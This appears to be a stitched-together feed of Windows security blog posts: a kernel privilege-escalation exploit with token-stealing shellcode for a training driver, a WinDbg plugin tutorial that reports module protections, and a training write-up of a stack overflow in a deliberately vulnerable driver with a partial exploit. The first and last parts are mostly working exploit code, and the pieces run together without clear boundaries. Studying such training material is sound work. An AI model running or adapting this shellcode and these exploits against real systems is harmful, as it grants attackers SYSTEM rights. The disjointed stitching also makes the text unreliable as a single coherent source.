[+] Search ntdll.dll...
[+] Search NtAllocateVirtualMemory...
[+] Search NtFreeVirtualMemory...
[+] Allocate memory...
[+] Copy the shellcode...
[+] Sending force4 structure...
[+] Free the shellcode space...
[+] New username: SystÞme
[+] Executing a new command console to test it...

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_F4 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\2"

typedef enum
{
 ChangeLabel,
 IncreaseAlcoholPercentage,
 DecreaseAlcoholPercentage
} OPERATION;

typedef struct
{
 OPERATION op;
 BYTE alcohol_percentage;
 BYTE label[256];
} FORCE4, *PFORCE4;

typedef DWORD (WINAPI* _NtAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef DWORD (WINAPI* _NtFreeVirtualMemory)(HANDLE, PVOID*, PSIZE_T, ULONG);

BYTE shellcode[] = "\x53\x51\x52\x57\x56\x6A\xFF\x6A\xFF\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x48\x8B\x52\x70\x48\x81\xC2\x88\x01"
 "\x00\x00\x48\x89\xD3\x48\x8B\x42\xF8\x48\x83\xF8\x04\x74\x19\x48\xB9\x41\x41\x41\x41\x41\x41\x41\x41\x48\x39"
 "\xC8\x74\x11\x48\x8B\x12\x48\x39\xDA\x74\x31\xEB\xDD\x48\x89\x54\x24\x08\xEB\x04\x48\x89\x14\x24\x48\xC7\xC1"
 "\xFF\xFF\xFF\xFF\x48\x39\x0C\x24\x74\xDE\x48\x39\x4C\x24\x08\x74\xD7\x5F\x5E\x48\x8B\x86\x80\x00\x00\x00\x48"
 "\x89\x87\x80\x00\x00\x00\x5E\x5F\x5A\x59\x5B\xC3";


void replacePattern(char buffer[], int bufferSize, DWORD64 pattern, DWORD64 value) {
 BOOL found = FALSE;
 int i;

 for (i = 0; i < bufferSize; i++) {
 if (*(PDWORD64)(buffer + i) == pattern) {
 found = TRUE;
 *(PDWORD64)(buffer + i) = value;
 }
 }

 return found;
}

int main()
{
 DWORD byte = 0, addr = 0;
 HANDLE hDevice = NULL;
 DWORD dwNtdll = NULL;
 _NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 _NtFreeVirtualMemory NtFreeVirtualMemory = NULL;
 DWORDLONG leetAddress = 0x1337;
 DWORD sizeofShellcode = sizeof(shellcode);
 FORCE4 force4 = {0};
 char username[255] = {0};
 DWORD sizeofUsername = 255;
 STARTUPINFO si = {0};
 PROCESS_INFORMATION pi = {0};

 strcpy(force4.label, "Ninja!");
 force4.alcohol_percentage = 137;
 force4.op = 0x1337; // op > 2

 printf("[+] Search ntdll.dll...\n");
 dwNtdll = GetModuleHandle("ntdll.dll");
 if(dwNtdll == NULL) {
 printf("Error with GetModuleHandle : %.8x", GetLastError());
 return EXIT_FAILURE;
 }

 printf("[+] Search NtAllocateVirtualMemory...\n");
 NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetProcAddress(dwNtdll, "NtAllocateVirtualMemory");
 if(NtAllocateVirtualMemory == NULL) {
 printf("[-] Error with GetProcAddress : %.8x\n", GetLastError());
 return EXIT_FAILURE;
 }

 printf("[+] Search NtFreeVirtualMemory...\n");
 NtFreeVirtualMemory = (_NtFreeVirtualMemory) GetProcAddress(dwNtdll, "NtFreeVirtualMemory");
 if(NtFreeVirtualMemory == NULL) {
 printf("[-] Error with GetProcAddress : %.8x\n", GetLastError());
 return EXIT_FAILURE;
 }

 printf("[+] Allocate memory...\n");
 addr = NtAllocateVirtualMemory(GetCurrentProcess(), &leetAddress, NULL, &sizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if(addr != 0) {
 printf("[-] Error with NtAllocateVirtualMemory : %.8x\n", addr);
 return EXIT_FAILURE;
 }

 printf("[+] Copy the shellcode...\n");
 replacePattern(shellcode, sizeof(shellcode), 0x4141414141414141, GetCurrentProcessId()); // Process PID
 memcpy(0x1337, shellcode, sizeof(shellcode));


 hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 if(hDevice == INVALID_HANDLE_VALUE) {
 printf("[-] Error with Createfile : %.8x.\n", GetLastError());
 return EXIT_FAILURE;
 }

 printf("[+] Sending force4 structure...\n");
 DeviceIoControl(hDevice, IOCTL_F4, &force4, sizeof(force4), &force4, sizeof(force4), &byte, NULL);
 CloseHandle(hDevice);

 printf("[+] Free the shellcode space...\n");
 NtFreeVirtualMemory(GetCurrentProcess(), &leetAddress, &sizeofShellcode, MEM_RELEASE);

 GetUserNameA(username, &sizeofUsername);
 printf("[+] New username: %s\n", username);

 printf("[+] Executing a new command console to test it...\n");
 si.cb = sizeof(si);
 CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

 return EXIT_SUCCESS;
}

Make a plugin for WinDbg

Fri, 28 Feb 2014 00:00:00 +0000

WinDbg is a powerfull Windows debugger, it can debug x86 application and x64 application, in user-land or in kernel-land. Despite its useful commands, we would like to make some plugin to do a faster and better debugging session. Fortunately for us, it’s possible to write WinDbg plugins in C or C++ to add a lot of commands in our favorite debugger.

I will use C++, but it’s possible to use another language if this language support the DLL creation. With Python, you can use PyKd. The plugin that you will be able to code after this article and with a little documentation looks like that:

0:004> !load C:\Users\Dimitri\Desktop\DbgDf0\Release\DbgDf0.dll
0:004> !df0 mod
Image Base Size ASLR DEP Safe SEH Module Name
0x00400000 0x001C0000 Yes Yes No HxD.exe
0x77820000 0x00180000 Yes Yes No ntdll.dll
0x75930000 0x00110000 Yes Yes Yes kernel32.dll
0x753E0000 0x00047000 Yes Yes Yes KERNELBASE.dll
0x77300000 0x00100000 Yes Yes Yes user32.dll
0x75FA0000 0x00090000 Yes Yes Yes GDI32.dll
0x76100000 0x0000A000 Yes Yes Yes LPK.dll
0x761C0000 0x0009D000 Yes Yes Yes USP10.dll
0x76110000 0x000AC000 Yes Yes Yes msvcrt.dll
0x75EA0000 0x000A0000 Yes Yes Yes ADVAPI32.dll
0x77400000 0x00019000 Yes Yes Yes sechost.dll
0x75690000 0x000F0000 Yes Yes Yes RPCRT4.dll
0x75380000 0x00060000 Yes Yes Yes SspiCli.dll
0x75370000 0x0000C000 Yes Yes Yes CRYPTBASE.dll
0x75430000 0x0008F000 Yes Yes Yes oleaut32.dll
0x76260000 0x0015C000 Yes Yes Yes ole32.dll
0x752A0000 0x00009000 Yes Yes Yes version.dll
0x72820000 0x0019E000 Yes Yes Yes comctl32.dll
0x75F40000 0x00057000 Yes Yes Yes SHLWAPI.dll
0x76680000 0x00C49000 Yes Yes Yes shell32.dll
0x754D0000 0x000F5000 Yes Yes Yes wininet.dll
0x75D60000 0x00136000 Yes Yes Yes urlmon.dll
0x75810000 0x0011E000 Yes Yes Yes CRYPT32.dll
0x76670000 0x0000C000 Yes Yes Yes MSASN1.dll
0x763E0000 0x001FF000 Yes Yes Yes iertutil.dll
0x75630000 0x00060000 Yes Yes Yes imm32.dll
0x76030000 0x000CC000 Yes Yes Yes MSCTF.dll
0x75240000 0x00051000 Yes Yes Yes winspool.drv
0x75CE0000 0x0007B000 Yes Yes Yes comdlg32.dll
0x71FD0000 0x00032000 Yes Yes Yes winmm.dll
0x10000000 0x0005A000 Yes Yes Yes guard32.dll
0x75230000 0x00007000 Yes Yes Yes fltlib.dll
0x71E90000 0x00080000 Yes Yes Yes uxtheme.dll
0x71E70000 0x00013000 Yes Yes Yes dwmapi.dll
0x754C0000 0x00005000 Yes Yes No PSAPI.dll
0x71CE0000 0x00005000 Yes Yes Yes msimg32.dll
0x75B00000 0x0019D000 Yes Yes Yes SETUPAPI.dll
0x75A40000 0x00027000 Yes Yes Yes CFGMGR32.dll
0x763C0000 0x00012000 Yes Yes Yes DEVOBJ.dll
0x765E0000 0x00083000 Yes Yes Yes CLBCatQ.DLL
0x71D30000 0x000F5000 Yes Yes Yes propsys.dll
0x75200000 0x00021000 Yes Yes Yes ntmarta.dll
0x755D0000 0x00045000 Yes Yes Yes WLDAP32.dll
0:004> !unload DbgDf0
Unloading C:\Users\Dimitri\Desktop\DbgDf0\Release\DbgDf0.dll extension DLL

This command looks in the Process Environment Block (PEB) the module list in memory and check if ASLR, DEP or SafeSEH is activated on these modules. An useful functionality! So, after that, you can add a ROP gadgets searcher for example to save a precious time.

Bases

First of all, you need to know that a WinDbg plugin is just a DLL which export by name its functions. Some exported functions are needed for WinDbg to load our plugin, and the others are just our commands! Let me show you an example with my DbgDf0 plugin:

extern "C" {
 _declspec(dllexport) VOID CheckVersion();
 _declspec(dllexport) LPEXT_API_VERSION ExtensionApiVersion();
 _declspec(dllexport) VOID WinDbgExtensionDllInit(PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion);
 _declspec(dllexport) DECLARE_API(df0);
}

The first is CheckVersion(), it’s optional and it helps you to check the WinDbg version and show a warning if you don’t have the correct version. Personnally, I never implement this function but I have implemented it to show you that it’s possible. Another function, ExtensionApiVersion(), is required and return the plugin version. An example with ExtensionApiVersion() wich return 1.0.0:

0:003> .chain
Extension DLL search Path:
...
Extension DLL chain:
C:\Users\Dimitri\Desktop\DbgDf0\Release\DbgDf0.dll: API 1.0.0, built Fri Feb 28 19:24:19 2014
[path: C:\Users\Dimitri\Desktop\DbgDf0\Release\DbgDf0.dll]

The next function, WinDbgExtensionDllInit() is required and important because it saves a pointer to WinDbg API list. Finally, DECLARE_API(df0) is our function that we can call with !df0 in WinDbg:

#define DECLARE_API(s) \
 VOID \
 s( \
 HANDLE hCurrentProcess, \
 HANDLE hCurrentThread, \
 ULONG dwCurrentPc, \
 ULONG dwProcessor, \
 PCSTR args \
 )

Last thing to know, all WinDbg SDK files are make for Visual Studio 2013. And if you don’t like Windows 8, you can find the structures in C:\Program Files (x86)\Windows Kits\8.1\Debuggers\inc\wdbgexts.h and copy them in your own header (windbg.h for me).

Functions

To get WinDbg API, you need to recover a specific pointer:

VOID WinDbgExtensionDllInit(PWINDBG_EXTENSION_APIS lpExtensionApis,
 USHORT usMajorVersion, USHORT usMinorVersion) {
 ExtensionApis = *lpExtensionApis;
}

Some preprocessor will help you to make a more readable source:

#define dprintf (ExtensionApis.lpOutputRoutine)
#define GetExpression (ExtensionApis.lpGetExpressionRoutine)
#define CheckControlC (ExtensionApis.lpCheckControlCRoutine)
#define GetContext (ExtensionApis.lpGetThreadContextRoutine)
#define SetContext (ExtensionApis.lpSetThreadContextRoutine)
#define Ioctl (ExtensionApis.lpIoctlRoutine)
#define Disasm (ExtensionApis.lpDisasmRoutine)
#define GetSymbol (ExtensionApis.lpGetSymbolRoutine)
#define ReadMemory (ExtensionApis.lpReadProcessMemoryRoutine)
#define WriteMemory (ExtensionApis.lpWriteProcessMemoryRoutine)
#define StackTrace (ExtensionApis.lpStackTraceRoutine)

Now, we will use dprintf to show a message in WinDbg: it works like printf from the C standard library. To read WinDbg debugged process memory, we can use ReadMemory wich works like ReadProcessMemory.

Code

You have now the base to writte a plugin like this:

#include <Windows.h>
#include "windbg.h"
#include "ntdll.h"

#define ASLR_ENABLED 1
#define DEP_ENABLED 2
#define SAFESEH_ENABLED 4

extern "C" {
 _declspec(dllexport) VOID CheckVersion();
 _declspec(dllexport) LPEXT_API_VERSION ExtensionApiVersion();
 _declspec(dllexport) VOID WinDbgExtensionDllInit(PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion);
 _declspec(dllexport) DECLARE_API(df0);
}

EXT_API_VERSION ApiVersion = { 1, 0, 0, 0 };
WINDBG_EXTENSION_APIS ExtensionApis;

VOID CheckVersion() {
 return;
}

LPEXT_API_VERSION ExtensionApiVersion() {
 return &ApiVersion;
}

VOID WinDbgExtensionDllInit(PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion)
{
 ExtensionApis = *lpExtensionApis;
 dprintf("DbgDf0 loaded! \n\n");
}

int checkProtections(DWORD baseAddress) {
 int ret = 0;
 ULONG returnLength;

 IMAGE_OPTIONAL_HEADER optionalHeader;
 ReadMemory((ULONG_PTR) baseAddress + sizeof(IMAGE_NT_HEADERS) - sizeof(IMAGE_OPTIONAL_HEADER), &optionalHeader, sizeof(optionalHeader), &returnLength);

 if (optionalHeader.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) {
 ret |= ASLR_ENABLED;
 }
 if (optionalHeader.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_NX_COMPAT) {
 ret |= DEP_ENABLED;
 }
 if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress != 0 && optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size != 0) {
 ret |= SAFESEH_ENABLED;
 }

 return ret;
}

int listMod(HANDLE hCurrentProcess) {
 HMODULE pNtdll = GetModuleHandle(L"ntdll.dll");
 _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess) GetProcAddress(pNtdll, "NtQueryInformationProcess");

 PROCESS_BASIC_INFORMATION basicInfo;
 ULONG returnLength;
 NtQueryInformationProcess(hCurrentProcess, 0, &basicInfo, sizeof(basicInfo), &returnLength);

 PEB peb;
 ReadMemory((ULONG_PTR) basicInfo.PebBaseAddress, &peb, sizeof(peb), &returnLength);

 PEB_LDR_DATA ldrList;
 ReadMemory((ULONG_PTR) peb.Ldr, &ldrList, sizeof(ldrList), &returnLength);

 LIST_ENTRY listModules;
 LDR_DATA_TABLE_ENTRY module;
 DWORD firstModule = (DWORD) ldrList.InLoadOrderModuleList.Flink;

 ReadMemory((ULONG_PTR) firstModule, &listModules, sizeof(listModules), &returnLength);
 ReadMemory((ULONG_PTR) firstModule, &module, sizeof(module), &returnLength);

 wchar_t wModuleName[1024] = {0};
 char aModuleName[1024] = {0};
 int protections = 0;
 dprintf("Image Base \tSize \t\tASLR \tDEP \tSafe SEH \tModule Name \n");

 do {
 ReadMemory((ULONG_PTR) module.BaseDllName.Buffer, wModuleName, module.BaseDllName.Length+2, &returnLength);
 WideCharToMultiByte(CP_ACP, 0, wModuleName, -1, aModuleName, sizeof(aModuleName), NULL, NULL);

 protections = checkProtections((DWORD) module.DllBase);
 dprintf("0x%0.8X \t0x%0.8X", module.DllBase, module.SizeOfImage);
 (protections & ASLR_ENABLED) ? dprintf("\tYes") : dprintf("\tNo");
 (protections & DEP_ENABLED) ? dprintf("\tYes") : dprintf("\tNo");
 (protections & SAFESEH_ENABLED) ? dprintf("\tYes") : dprintf("\tNo");
 dprintf("\t\t%s \n", aModuleName);

 ReadMemory((ULONG_PTR) listModules.Flink, &module, sizeof(module), &returnLength);
 ReadMemory((ULONG_PTR) listModules.Flink, &listModules, sizeof(listModules), &returnLength); // Next
 } while ((DWORD) listModules.Flink != firstModule);

 return 1;
}

DECLARE_API(df0)
{
 if (strcmp(args, "mod") == 0) {
 listMod(hCurrentProcess);
 }
}

And the headers to test:

// windbg.h

#if !defined(WDBGAPI)
#define WDBGAPI __stdcall
#endif

#if !defined(WDBGAPIV)
#define WDBGAPIV __cdecl
#endif

typedef
VOID
(WDBGAPIV*PWINDBG_OUTPUT_ROUTINE)(
 PCSTR lpFormat,
 ...
 );

typedef
ULONG_PTR
(WDBGAPI*PWINDBG_GET_EXPRESSION)(
 PCSTR lpExpression
 );

typedef
ULONG
(WDBGAPI*PWINDBG_GET_EXPRESSION32)(
 PCSTR lpExpression
 );

typedef
ULONG64
(WDBGAPI*PWINDBG_GET_EXPRESSION64)(
 PCSTR lpExpression
 );

typedef
VOID
(WDBGAPI*PWINDBG_GET_SYMBOL)(
 PVOID offset,
 PCHAR pchBuffer,
 ULONG_PTR *pDisplacement
 );

typedef
VOID
(WDBGAPI*PWINDBG_GET_SYMBOL32)(
 ULONG offset,
 PCHAR pchBuffer,
 PULONG pDisplacement
 );

typedef
VOID
(WDBGAPI*PWINDBG_GET_SYMBOL64)(
 ULONG64 offset,
 PCHAR pchBuffer,
 PULONG64 pDisplacement
 );

typedef
ULONG
(WDBGAPI*PWINDBG_DISASM)(
 ULONG_PTR *lpOffset,
 PCSTR lpBuffer,
 ULONG fShowEffectiveAddress
 );

typedef
ULONG
(WDBGAPI*PWINDBG_DISASM32)(
 ULONG *lpOffset,
 PCSTR lpBuffer,
 ULONG fShowEffectiveAddress
 );

typedef
ULONG
(WDBGAPI*PWINDBG_DISASM64)(
 ULONG64 *lpOffset,
 PCSTR lpBuffer,
 ULONG fShowEffectiveAddress
 );

typedef
ULONG
(WDBGAPI*PWINDBG_CHECK_CONTROL_C)(
 VOID
 );

typedef
ULONG
(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE)(
 ULONG_PTR offset,
 PVOID lpBuffer,
 ULONG cb,
 PULONG lpcbBytesRead
 );

typedef
ULONG
(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE32)(
 ULONG offset,
 PVOID lpBuffer,
 ULONG cb,
 PULONG lpcbBytesRead
 );

typedef
ULONG
(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE64)(
 ULONG64 offset,
 PVOID lpBuffer,
 ULONG cb,
 PULONG lpcbBytesRead
 );

typedef
ULONG
(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE)(
 ULONG_PTR offset,
 LPCVOID lpBuffer,
 ULONG cb,
 PULONG lpcbBytesWritten
 );

typedef
ULONG
(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32)(
 ULONG offset,
 LPCVOID lpBuffer,
 ULONG cb,
 PULONG lpcbBytesWritten
 );

typedef
ULONG
(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64)(
 ULONG64 offset,
 LPCVOID lpBuffer,
 ULONG cb,
 PULONG lpcbBytesWritten
 );

typedef
ULONG
(WDBGAPI*PWINDBG_GET_THREAD_CONTEXT_ROUTINE)(
 ULONG Processor,
 PCONTEXT lpContext,
 ULONG cbSizeOfContext
 );

typedef
ULONG
(WDBGAPI*PWINDBG_SET_THREAD_CONTEXT_ROUTINE)(
 ULONG Processor,
 PCONTEXT lpContext,
 ULONG cbSizeOfContext
 );

typedef
ULONG
(WDBGAPI*PWINDBG_IOCTL_ROUTINE)(
 USHORT IoctlType,
 PVOID lpvData,
 ULONG cbSize
 );

typedef
ULONG
(WDBGAPI*PWINDBG_OLDKD_READ_PHYSICAL_MEMORY)(
 ULONGLONG address,
 PVOID buffer,
 ULONG count,
 PULONG bytesread
 );

typedef
ULONG
(WDBGAPI*PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY)(
 ULONGLONG address,
 PVOID buffer,
 ULONG length,
 PULONG byteswritten
 );


typedef struct _EXTSTACKTRACE {
 ULONG FramePointer;
 ULONG ProgramCounter;
 ULONG ReturnAddress;
 ULONG Args[4];
} EXTSTACKTRACE, *PEXTSTACKTRACE;

typedef struct _EXTSTACKTRACE32 {
 ULONG FramePointer;
 ULONG ProgramCounter;
 ULONG ReturnAddress;
 ULONG Args[4];
} EXTSTACKTRACE32, *PEXTSTACKTRACE32;

typedef struct _EXTSTACKTRACE64 {
 ULONG64 FramePointer;
 ULONG64 ProgramCounter;
 ULONG64 ReturnAddress;
 ULONG64 Args[4];
} EXTSTACKTRACE64, *PEXTSTACKTRACE64;


typedef
ULONG
(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE)(
 ULONG FramePointer,
 ULONG StackPointer,
 ULONG ProgramCounter,
 PEXTSTACKTRACE StackFrames,
 ULONG Frames
 );

typedef
ULONG
(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE32)(
 ULONG FramePointer,
 ULONG StackPointer,
 ULONG ProgramCounter,
 PEXTSTACKTRACE32 StackFrames,
 ULONG Frames
 );

typedef
ULONG
(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE64)(
 ULONG64 FramePointer,
 ULONG64 StackPointer,
 ULONG64 ProgramCounter,
 PEXTSTACKTRACE64 StackFrames,
 ULONG Frames
 );

typedef struct _WINDBG_EXTENSION_APIS {
 ULONG nSize;
 PWINDBG_OUTPUT_ROUTINE lpOutputRoutine;
 PWINDBG_GET_EXPRESSION lpGetExpressionRoutine;
 PWINDBG_GET_SYMBOL lpGetSymbolRoutine;
 PWINDBG_DISASM lpDisasmRoutine;
 PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine;
 PWINDBG_READ_PROCESS_MEMORY_ROUTINE lpReadProcessMemoryRoutine;
 PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE lpWriteProcessMemoryRoutine;
 PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine;
 PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine;
 PWINDBG_IOCTL_ROUTINE lpIoctlRoutine;
 PWINDBG_STACKTRACE_ROUTINE lpStackTraceRoutine;
} WINDBG_EXTENSION_APIS, *PWINDBG_EXTENSION_APIS;

#define DECLARE_API(s) \
 VOID \
 s( \
 HANDLE hCurrentProcess, \
 HANDLE hCurrentThread, \
 ULONG dwCurrentPc, \
 ULONG dwProcessor, \
 PCSTR args \
 )
#define dprintf (ExtensionApis.lpOutputRoutine)
#define GetExpression (ExtensionApis.lpGetExpressionRoutine)
#define CheckControlC (ExtensionApis.lpCheckControlCRoutine)
#define GetContext (ExtensionApis.lpGetThreadContextRoutine)
#define SetContext (ExtensionApis.lpSetThreadContextRoutine)
#define Ioctl (ExtensionApis.lpIoctlRoutine)
#define Disasm (ExtensionApis.lpDisasmRoutine)
#define GetSymbol (ExtensionApis.lpGetSymbolRoutine)
#define ReadMemory (ExtensionApis.lpReadProcessMemoryRoutine)
#define WriteMemory (ExtensionApis.lpWriteProcessMemoryRoutine)
#define StackTrace (ExtensionApis.lpStackTraceRoutine)

typedef struct EXT_API_VERSION {
 USHORT MajorVersion;
 USHORT MinorVersion;
 USHORT Revision;
 USHORT Reserved;
} EXT_API_VERSION, *LPEXT_API_VERSION;

// ntdll.h

#include <Windows.h>

typedef NTSTATUS (WINAPI* _NtQueryInformationProcess)(
 _In_ HANDLE ProcessHandle,
 _In_ DWORD ProcessInformationClass,
 _Out_ PVOID ProcessInformation,
 _In_ ULONG ProcessInformationLength,
 _Out_opt_ PULONG ReturnLength
);

typedef struct _LSA_UNICODE_STRING {
 USHORT Length;
 USHORT MaximumLength;
 PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY
{
 LIST_ENTRY InLoadOrderLinks;
 LIST_ENTRY InMemoryOrderLinks;
 LIST_ENTRY InInitializationOrderLinks;
 PVOID DllBase;
 PVOID EntryPoint;
 ULONG SizeOfImage;
 UNICODE_STRING FullDllName;
 UNICODE_STRING BaseDllName;
 ULONG Flags;
 WORD LoadCount;
 WORD TlsIndex;
 union
 {
 LIST_ENTRY HashLinks;
 struct
 {
 PVOID SectionPointer;
 ULONG CheckSum;
 };
 };
 union
 {
 ULONG TimeDateStamp;
 PVOID LoadedImports;
 };
 _ACTIVATION_CONTEXT * EntryPointActivationContext;
 PVOID PatchInformation;
 LIST_ENTRY ForwarderLinks;
 LIST_ENTRY ServiceTagLinks;
 LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA {
 ULONG Length;
 BOOLEAN Initialized;
 HANDLE SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
 LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
 PVOID EntryInProgress;
 BOOLEAN ShutdownInProgress;
 HANDLE ShutdownThreadId;
} PEB_LDR_DATA, *PPEB_LDR_DATA;


typedef struct _PEB {
 BYTE Reserved1[2];
 BYTE BeingDebugged;
 BYTE Reserved2[1];
 PVOID Reserved3[2];
 PPEB_LDR_DATA Ldr;
 DWORD ProcessParameters;
 BYTE Reserved4[104];
 PVOID Reserved5[52];
 DWORD PostProcessInitRoutine;
 BYTE Reserved6[128];
 PVOID Reserved7[1];
 ULONG SessionId;
} PEB, *PPEB;

typedef struct _PROCESS_BASIC_INFORMATION {
 PVOID Reserved1;
 PPEB PebBaseAddress;
 PVOID Reserved2[2];
 ULONG_PTR UniqueProcessId;
 PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

Kernel buffer overflow on Windows

Wed, 26 Feb 2014 00:00:00 +0000

The buffer overflow are cool in user-land but they can be more funny in kernel-land. This time, we will use a buffer overflow to make an escalade privilege to get the SYSTEM rights, so we will could make anything we want on the system. To train us, we don’t need to code a driver by ourself: 0vercl0k have done it for us! So we got the level 1 files and we start our XP VM.

#include <Ntifs.h>

#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)

typedef unsigned int DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;

//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
//

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
 DWORD i = 0;
 NTSTATUS status;
 UNICODE_STRING deviceName = {0}, symlinkName = {0};
 PDEVICE_OBJECT pDevice = NULL;

 pDriverObj->DriverUnload = Unload;
 DbgPrint("[ Loading.. ]\r\n");

 RtlInitUnicodeString(&deviceName, L"\\Device\\1");
 RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\1");

 DbgPrint("[ Creating the device...]\n");
 IoCreateDevice(
 pDriverObj,
 0,
 &deviceName,
 FILE_DEVICE_UNKNOWN,
 FILE_DEVICE_SECURE_OPEN,
 FALSE,
 &pDevice
 );

 DbgPrint("[ Linking...]\n");
 IoCreateSymbolicLink(&symlinkName, &deviceName);

 for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
 pDriverObj->MajorFunction[i] = handleIRP;

 pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
 return STATUS_SUCCESS;
}

NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
 return STATUS_SUCCESS;
}

NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
 PIO_STACK_LOCATION pIoStackLocation = NULL;
 ULONG ioControlCode = 0, inputBufferLength = 0, inputBuffer = 0;
 BYTE buffer[256] = {0};

 pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
 ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
 inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
 inputBuffer = (ULONG)pIrp->AssociatedIrp.SystemBuffer;

 switch(ioControlCode)
 {
 case IOCTL_HI:
 {
 DbgPrint("[ Let's copying this buffer...]");

 /* ! w00tz ! */
 strcpy(buffer, inputBuffer);
 break;
 }
 }

 IoCompleteRequest(pIrp, IO_NO_INCREMENT);
 return pIrp->IoStatus.Status;
}

VOID Unload(PDRIVER_OBJECT pDrivObj)
{
 DbgPrint("[ Unloading.. ]\n");
 return;
}

It’s easy to see the problem: the copy size in strcpy is not checked!

Tools

To test the driver, we will need the Windows Driver Kit, WinDbg and an assembly code compiler, FASM. To compile with the WDK, we need to make a file with the name makefile:

!INCLUDE $(NTMAKEENV)\makefile.def

Fo a driver, the file sources has this content:

TARGETNAME = level1
TARGETPATH = obj
TARGETTYPE = DRIVER
INCLUDES = %BUILD%\inc
LIBS = %BUILD%\lib
SOURCES = level1.c

And the sources file for a simple .exe:

TARGETNAME=exploit
TARGETTYPE=PROGRAM
INCLUDES=
SOURCES=exploit.c
UMTYPE=console
UMBASE=0x04000000
USE_MSVCRT=1

Debug a VM

In Windows VM, msconfig.exe -> BOOT.ini -> Advanced -> /DEBUG /DEBUGPORT=COM1: and reboot. In VirtualBox, Machine -> Settings -> Serial Ports and configure it. In WinDbg, File -> Kernel Debug... -> COM and click on OK.

Exploitation

Now, we can load our driver with Driver Loader and test our entry:

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\1"

int main()
{
 DWORD byte = 0, lenMagik = 0, addr = 0;
 HANDLE hDevice = NULL;
 UCHAR magik[1024] = {0};

 memset(magik, 0x90, 276); // Padding
 lenMagik += 276;
 memcpy(magik+276, "\x42\x42\x42\x42\x00", 5); // Shellcode address?
 lenMagik += 5;

 hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 if(hDevice == INVALID_HANDLE_VALUE) {
 printf("[-] Error with Createfile : %.8x.\n", GetLastError());
 return EXIT_FAILURE;
 }

 DeviceIoControl(hDevice, IOCTL_HI, magik, lenMagik, NULL, 0, &byte, NULL);
 CloseHandle(hDevice);

 return EXIT_SUCCESS;
}

C:\WinDDK\7600.16385.1>cd C:\driver\level0
C:\driver\level0>build
